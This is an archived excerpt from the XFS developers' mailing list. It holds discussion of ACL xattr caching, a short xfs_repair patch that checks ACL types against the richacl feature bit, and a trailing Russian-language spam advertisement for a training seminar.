trusted.SGI_ACL_{FILE,DEFAULT} To: Dave Chinner Cc: Brian Foster , xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f51.google.com[209.85.215.51] X-Barracuda-Start-Time: 1445903532 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23843 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Oct 26, 2015 at 10:32 PM, Dave Chinner wrote: > Really, I'm struggling to understand what the problem is with XFS > doing translation to it's own special xattr names for ACLs > underneath the posix layer. Right now, setting one of the SGI_ACL attributes leads to stale i_acl / i_default_acl fields and in the case of SGI_ACL_FILE, possibly to outdated permissions in i_mode. You would get different information from getfacl than what's stored on disk. > Yes, there's a caching issue when someone directly manipulates > the underlying xattr, "Directly manipulating" could be doing a setxattr of an attribute that was previously retrieved by getxattr, like restoring a backup. > but you need root to shoot yourself in the foot that way, and that is easily > solveable. What do you mean, it's easily solvable? Thanks, Andreas From agruenba@redhat.com Mon Oct 26 20:23:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 15D037F52 for ; Mon, 26 Oct 2015 20:23:22 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E5E3B304039 for ; Mon, 26 Oct 2015 18:23:18 -0700 (PDT) X-ASG-Debug-ID: 1445908995-04cb6c7b86962c0001-NocioJ Received: from mail-lf0-f51.google.com (mail-lf0-f51.google.com [209.85.215.51]) by cuda.sgi.com with ESMTP id 4WpcEuCwh40vftLj (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Mon, 26 Oct 2015 18:23:16 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.85.215.51 Received: by lfaz124 with SMTP id z124so165585936lfa.1 for ; Mon, 26 Oct 2015 18:23:15 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat_com.20150623.gappssmtp.com; s=20150623; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=ED9vDotAXZsyGHk2cv6Axxc0Hqy8R4duFd+NrlzREq0=; b=0tNPrvi/xdrj+gQO10BD+APZhufhnA82c45WJShvo7tMdzBumRiUXfIHzv2eWb90tE TWpD79og/7zkqJeijzyfS7enVmAS5VVC2aWyj4P6K4CfLP+KKVZPyk4SZEVeEjAoMnBo 5PLFlVkTiAt53VrtgeQCfZ24q7k0OT52Kk2sB39dMemahS+d3HL7e6/9wHDwetoZdTWg KquDfMYtsleg7udjxMR0lCZgfqOAQS15+4C79QkDrzvGNWmVQaOfDYm24G6bSmWg3lKY BmMg5NlYbeI217OFk01jioCRYzxdk3/+MyWoHzZcdndUjJeZqfbh/ISmYgGAEd7Q+nuK uq6g== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=ED9vDotAXZsyGHk2cv6Axxc0Hqy8R4duFd+NrlzREq0=; b=eErjTbP+pfN8iCYa2fYNdXqkZxzsbwuQs61B0qUkAi3k4Sn5fRd9yfYu4Cirvxumip FjDf4d0hsVPEm46oROAocivBhODtDIIa9U8xA8EuDkam4O9cc0cH7OJiZs3uJYkc6rso XxivfmY2advSMJHvd4MQLoldDMM5TegroLiM5FRX+LAKcmBcN/zU4t8evhhMdknwqiUj Ec4ExkWp851sEWVsfl4qdBH+HRJi+WfQBsWj3aEmkEwTkLItXqfXqXWZmWbw2Sq9vmuU 0enfd2Fc9vQifU5TziDdG9hpNnsAED/fbZ1MzrxWu/sMqwDz9T0SLMmb7alt8wkP6gSM n/sw== X-Gm-Message-State: ALoCoQkPBB3e3Dv5xRnVCNCyeheBqgg+Vo+2qeGjXuNgIzfiF+7oJw0nruLB1jUTCwb4gVkuC6P3 MIME-Version: 1.0 X-Received: by 10.25.23.208 with SMTP id 77mr12145953lfx.44.1445908995212; Mon, 26 Oct 2015 18:23:15 -0700 (PDT) Received: by 10.112.53.42 with HTTP; Mon, 26 Oct 2015 18:23:15 -0700 (PDT) In-Reply-To: <20151026225520.GK8773@dastard> References: <1445627828-14661-1-git-send-email-agruenba@redhat.com> <1445627828-14661-5-git-send-email-agruenba@redhat.com> <20151026225520.GK8773@dastard> Date: Tue, 27 Oct 2015 02:23:15 +0100 Message-ID: Subject: Re: [PATCH 4/4] xfs_repair: Validate richacl attributes From: Andreas Gruenbacher X-ASG-Orig-Subj: Re: [PATCH 4/4] xfs_repair: Validate richacl attributes To: Dave Chinner Cc: xfs@oss.sgi.com Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-lf0-f51.google.com[209.85.215.51] X-Barracuda-Start-Time: 1445908996 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23845 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Mon, Oct 26, 2015 at 11:55 PM, Dave Chinner wrote: > This also needs to check that the richacl feature bit is set > apprpriately for the type of ACL that is found. Ah, yes. Thanks, Andreas From agruenba@redhat.com Mon Oct 26 20:24:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4F4B97F5F for ; Mon, 26 Oct 2015 20:24:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C825EAC002 for ; Mon, 26 Oct 2015 18:23:57 -0700 (PDT) X-ASG-Debug-ID: 1445909035-04cbb0660f9b390001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uOoTTdH9veSlsxcD (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Mon, 26 Oct 2015 18:23:56 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx14.intmail.prod.int.phx2.redhat.com (int-mx14.intmail.prod.int.phx2.redhat.com [10.5.11.27]) by mx1.redhat.com (Postfix) with ESMTPS id C453860; Tue, 27 Oct 2015 01:23:55 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-77.ams2.redhat.com [10.36.5.77]) by int-mx14.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9R1NrAQ005763; Mon, 26 Oct 2015 21:23:54 -0400 From: Andreas Gruenbacher To: david@fromorbit.com, xfs@oss.sgi.com Cc: Andreas Gruenbacher Subject: [PATCH] xfs_repair: Check for invalid ACL types Date: Tue, 27 Oct 2015 02:23:52 +0100 X-ASG-Orig-Subj: [PATCH] xfs_repair: Check for invalid ACL types Message-Id: <1445909032-10974-1-git-send-email-agruenba@redhat.com> References: <1445627828-14661-1-git-send-email-agruenba@redhat.com> <1445627828-14661-5-git-send-email-agruenba@redhat.com> <20151026225520.GK8773@dastard> In-Reply-To: <20151026225520.GK8773@dastard> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.27 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445909036 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Filesystems with the richacl feature are not supposed to contain POSIX ACLs, and filesystems without the richacl feature are not supposed to contain richacls. Fix by removing unexpected attributes. Signed-off-by: Andreas Gruenbacher --- repair/attr_repair.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/repair/attr_repair.c b/repair/attr_repair.c index e7f03a8..8ded369 100644 --- a/repair/attr_repair.c +++ b/repair/attr_repair.c @@ -160,6 +160,8 @@ valuecheck( int namelen, int valuelen) { + const bool feature_richacl = xfs_sb_has_incompat_feature(&mp->m_sb, + XFS_SB_FEAT_INCOMPAT_RICHACL); /* for proper alignment issues, get the structs and memmove the values */ xfs_mac_label_t macl; void *valuep; @@ -169,6 +171,13 @@ valuecheck( strncmp(namevalue, SGI_ACL_FILE, SGI_ACL_FILE_SIZE) == 0) || (namelen == SGI_ACL_DEFAULT_SIZE && strncmp(namevalue, SGI_ACL_DEFAULT, SGI_ACL_DEFAULT_SIZE) == 0)) { + if (feature_richacl) { + do_warn(_("filesystem feature %s set " + "but attribute %.*s exists\n"), + "richacl", namelen, namevalue); + return 1; + } + if (value == NULL) { valuep = malloc(valuelen); if (!valuep) @@ -211,6 +220,13 @@ valuecheck( strncmp(namevalue, XATTR_RICHACL, strlen(XATTR_RICHACL)) == 0) { struct richacl *acl; + if (!feature_richacl) { + do_warn(_("filesystem feature %s not set " + "but attribute %.*s exists\n"), + "richacl", namelen, namevalue); + return 1; + } + if (value == NULL) { valuep = malloc(valuelen); if (!valuep) -- 2.5.0 From dqqnmqoqosaed@afterwork.com Mon Oct 26 22:33:40 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.6 required=5.0 tests=HK_RANDOM_ENVFROM, HK_RANDOM_FROM,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 81D827F5D for ; Mon, 26 Oct 2015 22:33:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6F4938F8035 for ; Mon, 26 Oct 2015 20:33:39 -0700 (PDT) X-ASG-Debug-ID: 1445916812-04cbb0660fa4560001-NocioJ Received: from ft.afterwork.com ([46.138.63.146]) by cuda.sgi.com with ESMTP id nLBRGKKGP2AyRLkL for ; Mon, 26 Oct 2015 20:33:33 -0700 (PDT) X-Barracuda-Envelope-From: dqqnmqoqosaed@afterwork.com X-Barracuda-Apparent-Source-IP: 46.138.63.146 Message-ID: <8F88501064B3ADE9A77215576FE11B0F@DEDXXX2.MYIHOR.RU> From: "=?utf-8?B?TGVhbiBQcm9kdWN0aW9u?=" To: Subject: =?utf-8?B?0JHQtdGA0LXQttC70LjQstC+0LUg0L/RgNC+0LjQt9Cy0L7QtNGB0YLQstC+LiDQntCx0YPRh9C10L3QuNC1?= Date: Tue, 27 Oct 2015 06:33:32 +0300 X-ASG-Orig-Subj: =?utf-8?B?0JHQtdGA0LXQttC70LjQstC+0LUg0L/RgNC+0LjQt9Cy0L7QtNGB0YLQstC+LiDQntCx0YPRh9C10L3QuNC1?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00AB_01D11081.667F2810" X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 15.4.3538.513 X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3538.513 X-Barracuda-Connect: UNKNOWN[46.138.63.146] X-Barracuda-Start-Time: 1445916812 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.66 X-Barracuda-Spam-Status: No, SCORE=1.66 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, FROM_EXCESS_BASE64, FROM_EXCESS_BASE64_2, HTML_MESSAGE, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23847 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.01 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily 1.05 FROM_EXCESS_BASE64_2 From: base64 encoded unnecessarily 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Ýòî — ñîîáùåíèå èç íåñêîëüêèõ ÷àñòåé â ôîðìàòå MIME. ------=_NextPart_000_00AB_01D11081.667F2810 Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable =20 =20 =20 02 - 03 =D0=BD=D0=BE=D1=8F=D0=B1=D1=80=D1=8F=20 =D0=B3. =D0=9C=D0=BE=D1=81=D0=BA=D0=B2=D0=B0 =D0=9A=D0=B0=D0=BA = =D0=B2=D0=BD=D0=B5=D0=B4=D1=80=D0=B8=D1=82=D1=8C =D0=BD=D0=B0 = =D0=BF=D1=80=D0=B5=D0=B4=D0=BF=D1=80=D0=B8=D1=8F=D1=82=D0=B8=D0=B8 = =D0=BC=D0=B5=D1=82=D0=BE=D0=B4=D1=8B = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0 =D0=9E=D0=B1=D1=83=D1=87=D0=B5=D0=BD=D0=B8=D0=B5 = =D0=BF=D1=80=D0=BE=D0=B2=D0=BE=D0=B4=D0=B8=D1=82=D1=81=D1=8F c 10:00 = =D0=B4=D0=BE 17:30 = =D0=9C=D0=B5=D1=80=D0=BE=D0=BF=D1=80=D0=B8=D1=8F=D1=82=D0=B8=D0=B5 = =D1=81=D0=BE=D1=81=D1=82=D0=BE=D0=B8=D1=82=D1=81=D1=8F: =D0=BC. = =D0=91=D0=B0=D1=83=D0=BC=D0=B0=D0=BD=D1=81=D0=BA=D0=B0=D1=8F, = =D1=83=D0=BB. = =D0=91=D0=B0=D1=83=D0=BC=D0=B0=D0=BD=D1=81=D0=BA=D0=B0=D1=8F, =D0=B4.6, = =D0=B1=D0=B8=D0=B7=D0=BD=D0=B5=D1=81 =D1=86=D0=B5=D0=BD=D1=82=D1=80 = =E2=80=9C=D0=92=D0=B8=D0=BA=D1=82=D0=BE=D1=80=D0=B8=D1=8F = =D0=9F=D0=BB=D0=B0=D0=B7=D0=B0=E2=80=9D.=20 =D0=92=D1=81=D1=8F = =D0=BF=D0=BE=D0=B4=D1=80=D0=BE=D0=B1=D0=BD=D0=B0=D1=8F = =D0=B8=D0=BD=D1=84=D0=BE=D1=80=D0=BC=D0=B0=D1=86=D0=B8=D1=8F =D0=B8 = =D0=B7=D0=B0=D0=BF=D0=B8=D1=81=D1=8C =D0=BD=D0=B0 = =D1=83=D1=87=D0=B0=D1=81=D1=82=D0=B8=D0=B5 =D0=B2 = =D0=B7=D0=B0=D0=BD=D1=8F=D1=82=D0=B8=D0=B8 =D0=BF=D0=BE = =D1=82=D0=B5=D0=BB=D0=B5=D1=84=D0=BE=D0=BD=D1=83: 8 (4 9 5)=20 =D1=82=D0=B5=D0=BB.: 725 - 044 - 8. =20 =20 =20 =D0=A6=D0=B5=D0=BD=D0=BD=D0=BE=D1=81=D1=82=D1=8C = =D0=B7=D0=B0=D0=BD=D1=8F=D1=82=D0=B8=D1=8F:=20 - = =D1=80=D0=B0=D1=81=D1=81=D0=BC=D0=BE=D1=82=D1=80=D0=B8=D1=82=D0=B5 = =D0=BA=D0=BE=D0=BD=D1=86=D0=B5=D0=BF=D1=86=D0=B8=D1=8E = =D1=80=D0=B0=D0=B7=D0=B2=D0=B8=D1=82=D0=B8=D1=8F = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0 = =C2=AB=D0=91=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B5 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=BE=C2= =BB=20 - =D0=BD=D0=B0=D1=83=D1=87=D0=B8=D1=82=D0=B5=D1=81=D1=8C = =D0=BE=D0=BF=D1=80=D0=B5=D0=B4=D0=B5=D0=BB=D1=8F=D1=82=D1=8C = =D0=BD=D0=B0=D0=BF=D1=80=D0=B0=D0=B2=D0=BB=D0=B5=D0=BD=D0=B8=D1=8F = =D1=81=D1=82=D1=80=D0=B0=D1=82=D0=B5=D0=B3=D0=B8=D1=87=D0=B5=D1=81=D0=BA=D0= =BE=D0=B3=D0=BE =D1=80=D0=B0=D0=B7=D0=B2=D0=B8=D1=82=D0=B8=D1=8F = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0 - =D0=BD=D0=B0=D1=83=D1=87=D0=B8=D1=82=D0=B5=D1=81=D1=8C = =D0=B2=D0=B8=D0=B4=D0=B5=D1=82=D1=8C = =D0=BF=D0=BE=D1=82=D0=B5=D1=80=D0=B8 =D0=BD=D0=B0 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B5 - =D0=BD=D0=B0=D1=83=D1=87=D0=B8=D1=82=D0=B5=D1=81=D1=8C = =D0=BE=D1=86=D0=B5=D0=BD=D0=B8=D0=B2=D0=B0=D1=82=D1=8C = =D1=83=D1=80=D0=BE=D0=B2=D0=B5=D0=BD=D1=8C = =D1=80=D0=B0=D0=B7=D0=B2=D0=B8=D1=82=D0=B8=D1=8F = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B5=D0= =BD=D0=BD=D0=BE=D0=B9 =D1=81=D0=B8=D1=81=D1=82=D0=B5=D0=BC=D1=8B - =D0=BD=D0=B0=D1=83=D1=87=D0=B8=D1=82=D0=B5=D1=81=D1=8C = =D1=80=D0=B0=D1=81=D1=81=D1=87=D0=B8=D1=82=D1=8B=D0=B2=D0=B0=D1=82=D1=8C = =D0=BF=D0=BE=D0=BB=D0=BD=D1=83=D1=8E = =D1=8D=D1=84=D1=84=D0=B5=D0=BA=D1=82=D0=B8=D0=B2=D0=BD=D0=BE=D1=81=D1=82=D1= =8C = =D0=BE=D0=B1=D0=BE=D1=80=D1=83=D0=B4=D0=BE=D0=B2=D0=B0=D0=BD=D0=B8=D1=8F - =D1=81=D0=BC=D0=BE=D0=B6=D0=B5=D1=82=D0=B5 = =D0=BF=D0=BE=D0=BB=D1=8C=D0=B7=D0=BE=D0=B2=D0=B0=D1=82=D1=8C=D1=81=D1=8F = =D0=BF=D1=80=D0=B8=D0=B5=D0=BC=D0=B0=D0=BC=D0=B8 = =D0=BF=D0=BE=D0=B2=D1=8B=D1=88=D0=B5=D0=BD=D0=B8=D1=8F = =D1=8D=D1=84=D1=84=D0=B5=D0=BA=D1=82=D0=B8=D0=B2=D0=BD=D0=BE=D1=81=D1=82=D0= =B8 =D1=80=D0=B0=D0=B1=D0=BE=D1=82=D1=8B = =D0=BF=D0=B5=D1=80=D1=81=D0=BE=D0=BD=D0=B0=D0=BB=D0=B0 =20 =20 =D0=92 = =D0=BF=D1=80=D0=BE=D0=B3=D1=80=D0=B0=D0=BC=D0=BC=D0=B5: =20 1. = =D0=91=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B5 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=BE.= 2. = =D0=98=D0=BD=D1=81=D1=82=D1=80=D1=83=D0=BC=D0=B5=D0=BD=D1=82=D1=8B = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0.= 3. = =D0=9E=D1=80=D0=B3=D0=B0=D0=BD=D0=B8=D0=B7=D0=B0=D1=86=D0=B8=D1=8F = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0.= 4. =D0=92=D0=BD=D0=B5=D0=B4=D1=80=D0=B5=D0=BD=D0=B8=D0=B5 = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0.= 5. =D0=9A=D0=BB=D1=8E=D1=87=D0=B5=D0=B2=D1=8B=D0=B5 = =D1=84=D0=B0=D0=BA=D1=82=D0=BE=D1=80=D1=8B = =D1=83=D1=81=D0=BF=D0=B5=D1=85=D0=B0 = =D0=B2=D0=BD=D0=B5=D0=B4=D1=80=D0=B5=D0=BD=D0=B8=D1=8F = =D0=9B=D0=98=D0=9D-=D1=82=D0=B5=D1=85=D0=BD=D0=BE=D0=BB=D0=BE=D0=B3=D0=B8= =D0=B9. 6. =D0=9F=D0=BE=D0=B4=D1=85=D0=BE=D0=B4 =D0=BA = =D0=BF=D1=80=D0=B8=D0=BD=D1=8F=D1=82=D0=B8=D1=8E = =D1=80=D0=B5=D1=88=D0=B5=D0=BD=D0=B8=D0=B9 = =D0=BE=D1=82=D0=BD=D0=BE=D1=81=D0=B8=D1=82=D0=B5=D0=BB=D1=8C=D0=BD=D0=BE = =D0=B2=D0=BD=D0=B5=D0=B4=D1=80=D0=B5=D0=BD=D0=B8=D1=8F = =D0=B1=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B3=D0=BE = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0.= =D0=9E=D1=86=D0=B5=D0=BD=D0=BA=D0=B0 = =D1=86=D0=B5=D0=BB=D0=B5=D1=81=D0=BE=D0=BE=D0=B1=D1=80=D0=B0=D0=B7=D0=BD=D0= =BE=D1=81=D1=82=D0=B8 = =D0=BF=D1=80=D0=B8=D0=B2=D0=BB=D0=B5=D1=87=D0=B5=D0=BD=D0=B8=D1=8F = =D0=BA=D0=BE=D0=BD=D1=81=D1=83=D0=BB=D1=8C=D1=82=D0=B0=D0=BD=D1=82=D0=BE=D0= =B2. =20 =20 ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ = ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ =20 =D0=A3=D1=87=D0=B0=D1=81=D1=82=D0=B8=D0=B5 =D0=B2 = =D0=BE=D0=B1=D1=83=D1=87=D0=B5=D0=BD=D0=B8=D0=B8 = =D1=81=D0=BE=D1=81=D1=82=D0=B0=D0=B2=D0=B8=D1=82: 22 800 =D1=80. =D0=92=D1=85=D0=BE=D0=B4=D0=B8=D1=82 = =D0=BC=D0=B5=D1=82=D0=BE=D0=B4=D0=B8=D1=87=D0=B5=D1=81=D0=BA=D0=B8=D0=B9 = =D0=BC=D0=B0=D1=82=D0=B5=D1=80=D0=B8=D0=B0=D0=BB, = =D0=BE=D0=B1=D0=B5=D0=B4=D1=8B, = =D0=BA=D0=BE=D1=84=D0=B5-=D0=BF=D0=B0=D1=83=D0=B7=D1=8B. =D0=9F=D0=BE = =D0=BE=D0=BA=D0=BE=D0=BD=D1=87=D0=B0=D0=BD=D0=B8=D1=8E = =D0=B7=D0=B0=D0=BD=D1=8F=D1=82=D0=B8=D0=B9 =D0=92=D0=B0=D0=BC = =D0=B2=D1=8B=D0=B4=D0=B0=D0=B5=D1=82=D1=81=D1=8F = =D1=81=D0=B5=D1=80=D1=82=D0=B8=D1=84=D0=B8=D0=BA=D0=B0=D1=82.=20 =20 ------=_NextPart_000_00AB_01D11081.667F2810 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable

=D0=A6=D0=B5=D0=BD=D0=BD=D0=BE=D1=81=D1=82=D1=8C=20 =D0=B7=D0=B0=D0=BD=D1=8F=D1=82=D0=B8=D1=8F: =

 
-  = =D1=80=D0=B0=D1=81=D1=81=D0=BC=D0=BE=D1=82=D1=80=D0=B8=D1=82=D0=B5 = =D0=BA=D0=BE=D0=BD=D1=86=D0=B5=D0=BF=D1=86=D0=B8=D1=8E=20 =D1=80=D0=B0=D0=B7=D0=B2=D0=B8=D1=82=D0=B8=D1=8F = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0 = =C2=AB=D0=91=D0=B5=D1=80=D0=B5=D0=B6=D0=BB=D0=B8=D0=B2=D0=BE=D0=B5 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=BE=C2= =BB
  - =20 =D0=BD=D0=B0=D1=83=D1=87=D0=B8=D1=82=D0=B5=D1=81=D1=8C = =D0=BE=D0=BF=D1=80=D0=B5=D0=B4=D0=B5=D0=BB=D1=8F=D1=82=D1=8C = =D0=BD=D0=B0=D0=BF=D1=80=D0=B0=D0=B2=D0=BB=D0=B5=D0=BD=D0=B8=D1=8F = =D1=81=D1=82=D1=80=D0=B0=D1=82=D0=B5=D0=B3=D0=B8=D1=87=D0=B5=D1=81=D0=BA=D0= =BE=D0=B3=D0=BE =D1=80=D0=B0=D0=B7=D0=B2=D0=B8=D1=82=D0=B8=D1=8F=20 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B0<= BR>  -  =D0=BD=D0=B0=D1=83=D1=87=D0=B8=D1=82=D0=B5=D1=81=D1=8C = =D0=B2=D0=B8=D0=B4=D0=B5=D1=82=D1=8C = =D0=BF=D0=BE=D1=82=D0=B5=D1=80=D0=B8 =D0=BD=D0=B0=20 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B5<= BR>  -  =D0=BD=D0=B0=D1=83=D1=87=D0=B8=D1=82=D0=B5=D1=81=D1=8C = =D0=BE=D1=86=D0=B5=D0=BD=D0=B8=D0=B2=D0=B0=D1=82=D1=8C = =D1=83=D1=80=D0=BE=D0=B2=D0=B5=D0=BD=D1=8C = =D1=80=D0=B0=D0=B7=D0=B2=D0=B8=D1=82=D0=B8=D1=8F=20 = =D0=BF=D1=80=D0=BE=D0=B8=D0=B7=D0=B2=D0=BE=D0=B4=D1=81=D1=82=D0=B2=D0=B5=D0= =BD=D0=BD=D0=BE=D0=B9 = =D1=81=D0=B8=D1=81=D1=82=D0=B5=D0=BC=D1=8B
